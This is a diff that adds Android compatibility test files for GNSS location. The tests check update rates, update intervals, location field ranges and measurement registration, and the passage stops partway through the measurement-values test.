diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
new file mode 100644
index 0000000..e7e740e
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestUtils;
+import android.platform.test.annotations.AppModeFull;
+
+/**
+ * Test the "gps" location output works through various rate changes
+ *
+ * Tests:
+ * 1. Toggle through various rates.
+ * 2. Mix toggling through various rates with start & stop.
+ *
+ * Inspired by bugs 65246279, 65425110
+ */
+
+public class GnssLocationRateChangeTest extends GnssTestCase {
+
+    private static final String TAG = "GnssLocationRateChangeTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 1;
+
+    private TestLocationListener mLocationListenerMain;
+    private TestLocationListener mLocationListenerAfterRateChanges;
+    // Various rates, where underlying GNSS hardware states may enter different modes
+    private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
+    private static final int LOOPS_FOR_STRESS_TEST = 20;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mTestLocationManager = new TestLocationManager(getContext());
+        // Using separate listeners, so the await trigger for the after-rate-changes listener is
+        // independent of any possible locations that flow during setup, and rate change stress
+        // testing
+        mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListenerMain != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+        }
+        if (mLocationListenerAfterRateChanges != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
+     * and firmware state machine layers, ensuring Location output
+     * remains responsive after all is done.
+     */
+    @AppModeFull(reason = "Flaky in instant mode.")
+    public void testVariedRates() throws Exception {
+        if (!TestUtils.deviceHasGpsFeature(getContext())) {
+            return;
+        }
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+        softAssert.assertTrue("Location should be received at test start",
+                mLocationListenerMain.await());
+
+        for (int timeBetweenLocationsMsec : TBF_MSEC) {
+            // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+            mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                    timeBetweenLocationsMsec);
+        }
+        mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+
+        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+        softAssert.assertTrue("Location should be received at test end",
+                mLocationListenerAfterRateChanges.await());
+
+        softAssert.assertAll();
+    }
+
+    /**
+     * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+     * that may stress the underlying GNSS software
+     * and firmware state machine layers, ensuring Location output remains responsive
+     * after all is done.
+     */
+    public void testVariedRatesOnOff() throws Exception {
+        if (!TestUtils.deviceHasGpsFeature(getContext())) {
+            return;
+        }
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+        softAssert.assertTrue("Location should be received at test start",
+                mLocationListenerMain.await());
+
+        for (int timeBetweenLocationsMsec : TBF_MSEC) {
+            // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+            mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                    timeBetweenLocationsMsec);
+            // Also flip the requests on and off quickly
+            mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+        }
+
+        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+        softAssert.assertTrue("Location should be received at test end",
+                mLocationListenerAfterRateChanges.await());
+
+        softAssert.assertAll();
+    }
+
+    /**
+     * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+     * in multiple loops to provide additional stress to the underlying GNSS software
+     * and firmware state machine layers, ensuring Location output remains responsive
+     * after all is done.
+     */
+    public void testVariedRatesRepetitive() throws Exception {
+        if (!TestUtils.deviceHasGpsFeature(getContext())) {
+            return;
+        }
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+        softAssert.assertTrue("Location should be received at test start",
+                mLocationListenerMain.await());
+
+        // Two loops, first without removes, then with removes
+        for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+            for (int timeBetweenLocationsMsec : TBF_MSEC) {
+               mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                        timeBetweenLocationsMsec);
+            }
+        }
+        for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+            for (int timeBetweenLocationsMsec : TBF_MSEC) {
+                mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                        timeBetweenLocationsMsec);
+                // Also flip the requests on and off quickly
+                mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+            }
+        }
+
+        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+        softAssert.assertTrue("Location should be received at test end",
+                mLocationListenerAfterRateChanges.await());
+
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
new file mode 100644
index 0000000..f031947
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.Location;
+import android.location.LocationManager;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Test the {@link Location} update interval.
+ *
+ * Test steps:
+ * 1. Register for location updates with a specific interval.
+ * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ * 3. Compute the deltas between location update timestamps.
+ * 4. Compute mean and stddev and assert that they are within expected thresholds.
+ */
+public class GnssLocationUpdateIntervalTest extends GnssTestCase {
+
+    private static final String TAG = "GnssLocationUpdateIntervalTest";
+
+    private static final int LOCATION_TO_COLLECT_COUNT = 8;
+    private static final int TIMEOUT_IN_SEC = 120;
+
+    // Minimum time interval between fixes in milliseconds.
+    private static final int[] FIX_INTERVALS_MILLIS = {0, 1000, 5000, 15000};
+
+    private static final int MSG_TIMEOUT = 1;
+
+    // Timing failures on first NUM_IGNORED_UPDATES updates are ignored.
+    private static final int NUM_IGNORED_UPDATES = 2;
+
+    // In active mode, the mean computed for the deltas should not be smaller
+    // than mInterval * ACTIVE_MIN_MEAN_RATIO
+    private static final double ACTIVE_MIN_MEAN_RATIO = 0.75;
+
+    // In passive mode, the mean computed for the deltas should not be smaller
+    // than mInterval * PASSIVE_MIN_MEAN_RATIO
+    private static final double PASSIVE_MIN_MEAN_RATIO = 0.1;
+
+    /**
+     * The standard deviation computed for the deltas should not be bigger
+     * than mInterval * ALLOWED_STDEV_ERROR_RATIO
+     * or MIN_STDEV_MS, whichever is higher.
+     */
+    private static final double ALLOWED_STDEV_ERROR_RATIO = 0.50;
+    private static final long MIN_STDEV_MS = 1000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    public void testLocationUpdatesAtVariousIntervals() throws Exception {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+            return;
+        }
+
+        for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+            testLocationUpdatesAtInterval(fixIntervalMillis);
+        }
+    }
+
+    private void testLocationUpdatesAtInterval(int fixIntervalMillis) throws Exception {
+        Log.i(TAG, "testLocationUpdatesAtInterval, fixIntervalMillis: " + fixIntervalMillis);
+        TestLocationListener activeLocationListener = new TestLocationListener(
+                LOCATION_TO_COLLECT_COUNT);
+        TestLocationListener passiveLocationListener = new TestLocationListener(
+                LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(activeLocationListener, fixIntervalMillis);
+        mTestLocationManager.requestPassiveLocationUpdates(passiveLocationListener,
+                fixIntervalMillis);
+        try {
+            boolean success = activeLocationListener.await(
+                    (fixIntervalMillis * LOCATION_TO_COLLECT_COUNT) + TIMEOUT_IN_SEC);
+            assertTrue("Time elapsed without getting enough location fixes."
+                            + " Possibly, the test has been run deep indoors."
+                            + " Consider retrying test outdoors.",
+                    success);
+        } finally {
+            mTestLocationManager.removeLocationUpdates(activeLocationListener);
+            mTestLocationManager.removeLocationUpdates(passiveLocationListener);
+        }
+
+        List<Location> activeLocations = activeLocationListener.getReceivedLocationList();
+        List<Location> passiveLocations = passiveLocationListener.getReceivedLocationList();
+        validateLocationUpdateInterval(activeLocations, passiveLocations, fixIntervalMillis);
+    }
+
+    private static void validateLocationUpdateInterval(List<Location> activeLocations,
+            List<Location> passiveLocations, int fixIntervalMillis) {
+        // For active locations, consider all fixes.
+        long minFirstFixTimestamp = 0;
+        List<Long> activeDeltas = getTimeBetweenFixes(LocationManager.GPS_PROVIDER,
+                activeLocations, minFirstFixTimestamp);
+
+        // When a test round starts, passive listener shouldn't receive location before active
+        // listener. If this situation occurs, we treat this location as overdue location.
+        // (The overdue location comes from previous test round, it occurs occasionally)
+        // We have to skip it to prevent wrong calculation of time interval.
+        minFirstFixTimestamp = activeLocations.get(0).getTime();
+        List<Long> passiveDeltas = getTimeBetweenFixes(LocationManager.PASSIVE_PROVIDER,
+                passiveLocations, minFirstFixTimestamp);
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        assertMeanAndStdev(softAssert, LocationManager.GPS_PROVIDER, fixIntervalMillis,
+                activeDeltas, ACTIVE_MIN_MEAN_RATIO);
+        assertMeanAndStdev(softAssert, LocationManager.PASSIVE_PROVIDER, fixIntervalMillis,
+                passiveDeltas, PASSIVE_MIN_MEAN_RATIO);
+        softAssert.assertAll();
+    }
+
+    private static List<Long> getTimeBetweenFixes(String provider, List<Location> locations,
+            long minFixTimestampMillis) {
+        List<Long> deltas = new ArrayList(locations.size());
+        long lastFixTimestamp = -1;
+        int i = 0;
+        for (Location location : locations) {
+            if (!location.getProvider().equals(LocationManager.GPS_PROVIDER)) {
+                continue;
+            }
+
+            final long fixTimestamp = location.getTime();
+            if (fixTimestamp < minFixTimestampMillis) {
+                Log.i(TAG, provider + " provider, ignoring location update from an earlier test");
+                continue;
+            }
+
+            ++i;
+            final long delta = fixTimestamp - lastFixTimestamp;
+            lastFixTimestamp = fixTimestamp;
+            if (i <= NUM_IGNORED_UPDATES) {
+                Log.i(TAG, provider + " provider, ignoring location update with delta: "
+                        + delta + " msecs");
+                continue;
+            }
+
+            deltas.add(delta);
+        }
+
+        return deltas;
+    }
+
+    private static void assertMeanAndStdev(SoftAssert softAssert, String provider,
+            int fixIntervalMillis, List<Long> deltas, double minMeanRatio) {
+        double mean = computeMean(deltas);
+        double stdev = computeStdev(mean, deltas);
+
+        double minMean = fixIntervalMillis * minMeanRatio;
+        softAssert.assertTrue(provider + " provider mean too small: " + mean
+                + " (min: " + minMean + ")", mean >= minMean);
+
+        double maxStdev = Math.max(MIN_STDEV_MS, fixIntervalMillis * ALLOWED_STDEV_ERROR_RATIO);
+        softAssert.assertTrue(provider + " provider stdev too big: "
+                + stdev + " (max: " + maxStdev + ")", stdev <= maxStdev);
+        Log.i(TAG, provider + " provider mean: " + mean);
+        Log.i(TAG, provider + " provider stdev: " + stdev);
+    }
+
+    private static double computeMean(List<Long> deltas) {
+        long accumulator = 0;
+        for (long d : deltas) {
+            accumulator += d;
+        }
+        return accumulator / deltas.size();
+    }
+
+    private static double computeStdev(double mean, List<Long> deltas) {
+        double accumulator = 0;
+        for (long d : deltas) {
+            double diff = d - mean;
+            accumulator += diff * diff;
+        }
+        return Math.sqrt(accumulator / (deltas.size() - 1));
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
new file mode 100644
index 0000000..9ac46df
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.Location;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+/**
+ * Test the {@link Location} values.
+ *
+ * Test steps:
+ * 1. Register for location updates.
+ * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *          3.1 Confirm locations have been found.
+ * 3. Get LastKnownLocation, verified all fields are in the correct range.
+ */
+public class GnssLocationValuesTest extends GnssTestCase {
+
+  private static final String TAG = "GnssLocationValuesTest";
+  private static final int LOCATION_TO_COLLECT_COUNT = 5;
+  private TestLocationListener mLocationListener;
+  private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
+  private boolean extendedLocationAccuracyExpected = false;
+  // TODO(b/65458848): Re-tighten the limit to 0.001 when sufficient devices in the market comply
+  private static final double MINIMUM_SPEED_FOR_BEARING = 1.000;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+    mTestLocationManager = new TestLocationManager(getContext());
+    extendedLocationAccuracyExpected = true;
+    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+  }
+
+  @Override
+  protected void tearDown() throws Exception {
+    // Unregister listeners
+    if (mLocationListener != null) {
+      mTestLocationManager.removeLocationUpdates(mLocationListener);
+    }
+    super.tearDown();
+  }
+
+  /**
+   * Those accuracy fields are new O-features,
+   * only test them if the hardware is later than 2017
+   */
+  public void testAccuracyFields() throws Exception {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+        return;
+    }
+
+    SoftAssert softAssert = new SoftAssert(TAG);
+    mTestLocationManager.requestLocationUpdates(mLocationListener);
+    boolean success = mLocationListener.await();
+    softAssert.assertTrue(
+        "Time elapsed without getting the GNSS locations."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+
+    for (Location location : mLocationListener.getReceivedLocationList()) {
+      checkLocationAccuracyFields(softAssert, location,
+          extendedLocationAccuracyExpected);
+    }
+
+    softAssert.assertAll();
+  }
+
+  public static void checkLocationAccuracyFields(SoftAssert softAssert,
+      Location location, boolean extendedLocationAccuracyExpected) {
+    softAssert.assertTrue("All locations generated by the LocationManager "
+        + "should have a horizontal accuracy.", location.hasAccuracy());
+    if (location.hasAccuracy()) {
+      softAssert.assertTrue("Location Accuracy should be greater than 0.",
+          location.getAccuracy() > 0);
+    }
+
+    if (!extendedLocationAccuracyExpected) {
+      return;
+    }
+    Log.i(TAG, "Logging YEAR_2017 Capability.");
+
+    if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+              "When speed is greater than 0, all GNSS locations generated by "
+                      + "the LocationManager must have bearing accuracies.",
+              location.hasBearingAccuracy());
+      if (location.hasBearingAccuracy()) {
+        softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+                "Bearing Accuracy should be greater than 0.",
+                location.getBearingAccuracyDegrees() > 0);
+      }
+    }
+
+    softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+            "All GNSS locations generated by the LocationManager "
+                    + "must have a speed accuracy.", location.hasSpeedAccuracy());
+    if (location.hasSpeedAccuracy()) {
+      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+              "Speed Accuracy should be greater than 0.",
+              location.getSpeedAccuracyMetersPerSecond() > 0);
+    }
+    softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+            "All GNSS locations generated by the LocationManager "
+                    + "must have a vertical accuracy.", location.hasVerticalAccuracy());
+    if (location.hasVerticalAccuracy()) {
+      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+              "Vertical Accuracy should be greater than 0.",
+              location.getVerticalAccuracyMeters() > 0);
+    }
+  }
+
+  /**
+   * Get the location info from the device
+   * check whether all fields' value make sense
+   */
+  public void testLocationRegularFields() throws Exception {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+        return;
+    }
+
+    SoftAssert softAssert = new SoftAssert(TAG);
+    mTestLocationManager.requestLocationUpdates(mLocationListener);
+    boolean success = mLocationListener.await();
+    softAssert.assertTrue(
+        "Time elapsed without getting the GNSS locations."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+
+    // don't check speed of first GNSS location - it may not be ready in some cases
+    boolean checkSpeed = false;
+    for (Location location : mLocationListener.getReceivedLocationList()) {
+      checkLocationRegularFields(softAssert, location, checkSpeed);
+      checkSpeed = true;
+    }
+
+    softAssert.assertAll();
+  }
+
+  public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
+                                                boolean checkSpeed) {
+    // For the altitude: the unit is meter
+    // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
+    // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
+
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have altitudes.", location.hasAltitude());
+    if(location.hasAltitude()) {
+      softAssert.assertTrue("Altitude should be greater than -500 (meters).",
+          location.getAltitude() >= -500);
+      softAssert.assertTrue("Altitude should be less than 6000 (meters).",
+          location.getAltitude() < 6000);
+    }
+
+    // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
+    // The API will return 0.0 if there is no bearing
+    if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+      softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+        + "the LocationManager must have bearings.", location.hasBearing());
+      if(location.hasBearing()) {
+        softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
+            location.getBearing() >= 0 && location.getBearing() <= 360);
+      }
+    }
+
+    softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
+        location.getElapsedRealtimeNanos() > 0);
+
+    assertEquals("gps", location.getProvider());
+    assertTrue(location.getTime() > 0);
+
+    softAssert.assertTrue("Longitude should be in the range of [-180.0, 180.0] degrees",
+        location.getLongitude() >= -180 && location.getLongitude() <= 180);
+
+    softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
+        location.getLatitude() >= -90 && location.getLatitude() <= 90);
+
+    if (checkSpeed) {
+      softAssert.assertTrue("All but the first GNSS location from LocationManager "
+              + "must have speeds.", location.hasSpeed());
+    }
+
+    // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
+    // to 5m/s for possible early fix noise in moderate signal test environments
+    if(location.hasSpeed()) {
+      softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
+          location.getSpeed() >= 0 && location.getSpeed() <= 5);
+    }
+
+  }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
new file mode 100644
index 0000000..30b3c59
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurement}s without location registration.
+ *
+ * Test steps:
+ * 1. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
+ *    following reasons:
+ *          2.1 the device does not support the feature,
+ *          2.2 GPS is disabled in the device,
+ *          2.3 Location is disabled in the device.
+ * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
+ * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
+ *    This is done by performing the following steps:
+ *          2.1 Register for location updates, and {@link GnssStatus} events.
+ *          2.2 Wait for {@link TestGnssStatusCallback#TIMEOUT_IN_SEC}.
+ *          2.3 If no {@link GnssStatus} is received this will mean that the device is located
+ *              indoor. Test will be skipped.
+ *          2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
+ *              provided only if the application registers for location updates as well:
+ *                  2.4.1 The test will pass with a warning for the M release.
+ *                  2.4.2 The test might fail in a future Android release, when this requirement
+ *                        becomes mandatory.
+ */
+public class GnssMeasurementRegistrationTest extends GnssTestCase {
+
+    private static final String TAG = "GnssMeasRegTest";
+    private static final int EVENTS_COUNT = 5;
+    private static final int GPS_EVENTS_COUNT = 1;
+    private TestLocationListener mLocationListener;
+    private TestGnssMeasurementListener mMeasurementListener;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Test GPS measurements registration.
+     */
+    public void testGnssMeasurementRegistration() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+                isCtsVerifierTest())) {
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+        mMeasurementListener.await();
+        if (!mMeasurementListener.verifyStatus()) {
+            // If test is strict verifyStatus will assert conditions are good for further testing.
+            // Else this returns false and, we arrive here, and then return from here (pass.)
+            return;
+        }
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+        if (!events.isEmpty()) {
+           // Test passes if we get at least 1 pseudorange.
+           Log.i(TAG, "Received GPS measurements. Test Pass.");
+           return;
+        }
+
+        SoftAssert.failAsWarning(
+                TAG,
+                "GPS measurements were not received without registering for location updates. "
+                + "Trying again with Location request.");
+
+        // Register for location updates.
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        // Wait for location updates
+        mLocationListener.await();
+        Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
+
+        events = mMeasurementListener.getEvents();
+        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        softAssert.assertTrue(
+                "Did not receive any GnssMeasurement events.  Retry outdoors?",
+                !events.isEmpty());
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..12a26f8
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * Test steps:
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *          3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
+ *    one of the following reasons:
+ *          4.1 the device does not support the GPS feature,
+ *          4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
+ *  5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ *     mandatory fields is not populated or in the expected range.
+ */
+public class GnssMeasurementValuesTest extends GnssTestCase {
+
+    private static final String TAG = "GnssMeasValuesTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+    private TestGnssMeasurementListener mMeasurementListener;
+    private TestLocationListener mLocationListener;
+    // Store list of Satellites including Gnss Band, constellation & SvId
+    private Set<String> mGnssMeasSvStringIds;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mTestLocationManager = new TestLocationManager(getContext());
+        mGnssMeasSvStringIds = new HashSet<>();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+     * It only performs sanity checks for the measurements received.
+     * This tests uses actual data retrieved from GPS HAL.
+     */
+    public void testListenForGnssMeasurements() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil
+                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+            return;
+        }
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
